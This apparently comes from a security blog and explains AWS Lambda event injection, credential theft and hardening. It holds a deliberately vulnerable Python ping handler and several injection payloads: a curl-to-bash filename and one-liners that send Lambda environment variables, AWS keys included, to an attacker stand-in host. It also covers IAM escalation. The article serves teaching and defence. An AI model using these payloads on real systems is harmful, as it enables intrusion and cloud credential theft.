AWS Lambda Security: Exploiting Event Injection and Credential Theft
Serverless computing is often sold as a security win by default. No servers to patch, no SSH, no open ports, and no long-lived hosts to compromise. That mindset leads to one of the most common (and most dangerous) misconceptions in modern cloud security:
“If there is no server, there is no shell. If there is no shell, I can’t be hacked.”
In reality, AWS Lambda is still “a server,” just one you don’t manage directly. Under the hood, Lambda executes your code inside an isolated runtime backed by AWS infrastructure (commonly described as Firecracker microVMs running Amazon Linux). If your function processes untrusted input insecurely, it can still be exploited for Remote Code Execution (RCE).
What changes in serverless is not whether exploitation is possible, but what an attacker tries to get. In traditional infrastructure, RCE often aims for a reverse shell to pivot through a network. In Lambda, the most valuable prize is usually not the container at all.
It is the function’s identity.
That identity is granted through temporary IAM credentials that Lambda uses to access other AWS services. If an attacker can execute code or commands inside the function, they can often steal those credentials, impersonate the execution role, and then expand outward across your AWS environment.
Analyzing the AWS Lambda Attack Surface: The Event Object
In a typical web application, the attack surface is relatively predictable:
- HTTP headers
- Query parameters
- Cookies
- Request bodies (POST/PUT payloads)
Serverless applications are different because they are event-driven. A Lambda function is invoked with an event object, usually a JSON payload that originates from another AWS service. That means your “inputs” may come from many sources, not just a public HTTP endpoint.
How Event Triggers Expand the Serverless Attack Surface
Developers often treat the event payload as “trusted” because it came from inside AWS. But the data inside that event frequently traces back to user-controlled content, including:
- File names uploaded to a bucket
- Metadata fields set on an object
- Messages pushed to a queue
- Data written into a database table
- Parameters sent through an API Gateway endpoint
If an attacker can influence any of those upstream sources, they can influence what lands in your Lambda handler.
Common Event Injection Vectors in AWS Lambda
Here are a few high-impact event sources that frequently become injection paths:
- API Gateway: The classic path. If your Lambda is behind an API, user input flows directly into the event object.
- Amazon S3 Triggers: The Lambda fires when an object is created. If your code uses the object key (filename) or metadata unsafely, an attacker can inject payloads through names like:
test; curl attacker.com | bash; .jpg - DynamoDB Streams / SNS / SQS: These triggers create powerful asynchronous exploitation chains. An attacker poisons a record or message upstream. Later, when the stream or queue triggers the function, the payload executes without direct interaction.

The key point is simple: in serverless, the “front door” is often not the endpoint you think it is. The front door is the entire set of services that can produce events.
Identifying Vulnerable Code Patterns in Serverless Functions
The most common event-injection-to-RCE story looks like this:
- The function extracts a value from
event - The value is treated as a string that “should be safe”
- The string is passed into a command execution sink
In Python, those sinks include:
os.system()os.popen()subprocess.Popen()(when used withshell=Trueor unsafe string concatenation)
In Node.js, common sinks include:
child_process.exec()child_process.spawn()(when misused or passed untrusted arguments incorrectly)
Case Study: Command Injection in a Lambda Ping Function
A simple Lambda designed to ping a user-provided IP address can become a textbook command injection case when it builds shell commands via string concatenation:
import os
import json
def lambda_handler(event, context):
# The function blindly trusts the 'target_ip' from the event JSON
target = event.get('target_ip')
# Vulnerable Sink: Passing the input directly to the OS
command = f"ping -c 4 {target}"
result = os.popen(command).read()
return {
'statusCode': 200,
'body': json.dumps(f"Ping result: {result}")
}
This pattern is dangerous because the function assumes target_ip is “just an IP,” when it is really arbitrary user-controlled text. If the value contains shell metacharacters (;, &&, |, backticks, $()), the command can be extended into something far more malicious than a ping.
Exploiting AWS Lambda via Event Data Injection
Even when you have RCE inside Lambda, exploitation feels different from a traditional server compromise.
Why Traditional Reverse Shells Fail in Serverless Environments
Lambda environments are constrained by design:
- Ephemeral execution: the environment may disappear quickly
- Short execution windows: timeouts can be only seconds
- Restricted filesystem: typically read-only except
/tmp - No reliable persistence: you cannot count on staying “on the box”
So attackers usually avoid interactive sessions and instead focus on Out-of-Band (OOB) Data Exfiltration.
Out-of-Band (OOB) Data Exfiltration in Lambda Exploits
Rather than “catching a shell,” an attacker injects a command that:
- Executes quickly
- Collects valuable data locally (environment variables, metadata, files in
/tmp) - Sends it to an attacker-controlled endpoint immediately
This can be done using simple HTTP callbacks to services like webhook.site or Burp Collaborator-style endpoints.

Example Injection Payload
If the attacker passes this event payload:
{
"target_ip": "8.8.8.8; env | base64 | curl -d @- <https://attacker-controlled-server.com/log>; #"
}
The Lambda ends up executing something like:
ping -c 4 8.8.8.8; env | base64 | curl -d @- <https://attacker>...
That does three critical things:
- Runs the expected command so the function behavior looks normal
- Dumps environment variables via
env - Base64-encodes output to prevent formatting issues during transport
- Exfiltrates the data to an external endpoint
In a serverless environment, that single callback can be enough to compromise the wider cloud account.
Stealing AWS Environment Variables via Lambda RCE
For many Lambda compromises, the “real exploit” begins after the command injection succeeds.
The attacker’s objective is typically to steal the function’s AWS credentials, which are injected at runtime so the function can access AWS APIs.
Extracting AWS Access Keys and Session Tokens
In Lambda, temporary credentials generally include three values:
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN
The session token is not optional. It is mandatory for temporary credentials, and forgetting it breaks the attacker’s ability to use the keys.
The Impact of Stolen Lambda Execution Role Credentials
With these values, an attacker can authenticate as the Lambda execution role and call AWS APIs from anywhere. At that point, the compromise is no longer “a vulnerable function.”
It becomes “whatever that role is allowed to do.”
Alternative Credential Extraction via Node.js and Python
Not every vulnerability gives you direct shell execution. Sometimes the bug is higher-level, such as:
eval()injection- Server-Side Template Injection (SSTI)
- Unsafe deserialization
- Arbitrary code execution within the runtime, but not via a shell
In those cases, attackers can still extract process.env (Node.js) or os.environ (Python) and exfiltrate the results over HTTP.
Node.js Example
require('http').request({
host: 'attacker-controlled-server.com',
path: '/?keys=' + Buffer.from(JSON.stringify(process.env)).toString('base64')
}).end()
Python Example
import os, urllib.request, urllib.parse;
urllib.request.urlopen("<https://attacker-controlled-server.com/?"> + urllib.parse.urlencode(os.environ))
The methods differ, but the strategy stays the same: collect the environment, then send it out fast.
Post-Exploitation: Mapping the AWS Blast Radius
Once credentials are stolen, attackers typically test what they have by running a basic identity call:
aws sts get-caller-identity
This reveals the ARN associated with the stolen session. It answers a crucial question:
Which role did I just become?
How IAM Least Privilege Mitigates Lambda Compromise
If the Lambda execution role is tightly scoped, the attacker might be limited to something like:
- Read access to a single bucket path
- Write access to one DynamoDB table
- Publish to a specific SNS topic
In that scenario, the incident can be contained and treated as a localized application security problem.
Escalating Privileges: From Lambda RCE to Full Account Takeover

In real environments, Lambda roles are often over-permissioned for convenience, especially during development, and those permissions sometimes make it into production.
If the role includes broad permissions like:
AmazonS3FullAccessAdministratorAccess
Or specific IAM escalation primitives like:
iam:PutUserPolicyiam:CreateAccessKeyiam:PassRole
Then the attacker can escalate quickly, create persistent access, and potentially take over the AWS account. Research from Rhino Security Labs has cataloged many privilege escalation pathways that become available when IAM is misconfigured.
This is why, in cloud security, exploitation and privilege design are inseparable. A small injection bug can become a major breach depending on IAM posture.
Automating API Reconnaissance for Serverless Targets
Exploitation usually requires one more thing: knowing where and how to inject.
Modern serverless apps often have:
- Frontend JavaScript clients that call undocumented APIs
- API Gateway endpoints hidden behind “internal” routes
- Complex JSON payload schemas expected by backend handlers
jsmon is designed to help with this reconnaissance. It parses JavaScript bundles and source maps to discover hidden API routes (for example, /api/v2/process-upload). More importantly, it can reveal the structure of payloads the backend expects, which helps an attacker craft injection data that survives validation and reaches vulnerable sinks.
From a defender’s perspective, this reinforces an uncomfortable truth:
If your frontend knows about an endpoint, an attacker can likely learn about it too.
Hardening AWS Lambda: Remediation and Security Best Practices
Defending Lambda workloads requires more than just “fixing the code.” You need defense-in-depth that addresses both application security and cloud identity.
1) Strict Event Validation
Treat every event field as untrusted input, even if it came from an AWS service.
- Validate types, formats, and ranges
- Reject unexpected fields
- Use allowlists instead of blocklists
- Enforce schema validation for JSON payloads
The goal is to ensure that untrusted event data never reaches dangerous code paths in an unsafe form.
2) Avoid Dangerous Sinks
Do not build shell commands by concatenating strings with user-supplied data.
- Remove
os.system,popen, and unsafeexecpatterns where possible - If OS interaction is necessary, use parameterized APIs and safe argument handling
- Avoid
shell=Trueand avoid passing raw strings to shell execution
If the function must run system utilities, ensure arguments are strictly validated and safely passed as separate parameters.
3) Enforce IAM Least Privilege (Your Most Important Safety Net)
Assume the Lambda will eventually be exploited.
Design the execution role so that compromise does not automatically mean cloud compromise:
- Grant only the minimum permissions required
- Scope resources tightly (specific buckets, prefixes, tables, ARNs)
- Avoid wildcard actions and wildcard resources
- Periodically audit roles and remove unused permissions
Least privilege turns “keys to the kingdom” into “keys to one drawer.”
4) Filter Common Exploit Payloads at the Edge
For API-triggered Lambdas, a Web Application Firewall can reduce exploit attempts by filtering common injection patterns before they hit the function.
Tools like AWS WAF (or equivalent WAF solutions) can help detect and block payloads containing known command injection syntax. A WAF is not a cure, but it can add friction and reduce exposure, especially for internet-facing APIs.
Conclusion: Securing the Modern Serverless Perimeter
Serverless does not eliminate RCE. It changes what RCE is used for.
In AWS Lambda, code execution is often a stepping stone to something more impactful: credential theft and role impersonation. Event injection is dangerous precisely because it exploits what serverless is built on, a web of interconnected services passing data to each other automatically.
To defend effectively:
- Validate every event input, regardless of source
- Remove or harden command execution paths
- Treat IAM least privilege as a core security control, not an afterthought
- Use edge defenses like WAFs to reduce noisy exploitation attempts
If you secure both the application logic and the execution role permissions, Lambda compromises become significantly harder to exploit and far less catastrophic when they do happen.
References and Further Reading
- OWASP Serverless Top 10 (SAS-01: Injection): Read the Documentation
- Rhino Security Labs: AWS IAM Privilege Escalation: Read the Guide
- Sidechannel.blog - Event Injection in Serverless Architectures: Read the Article
- HackTricks - AWS Lambda Enumeration & Privilege Escalation: View the Cheat Sheet
- Practice Labs (SadCloud): SadCloud on GitHub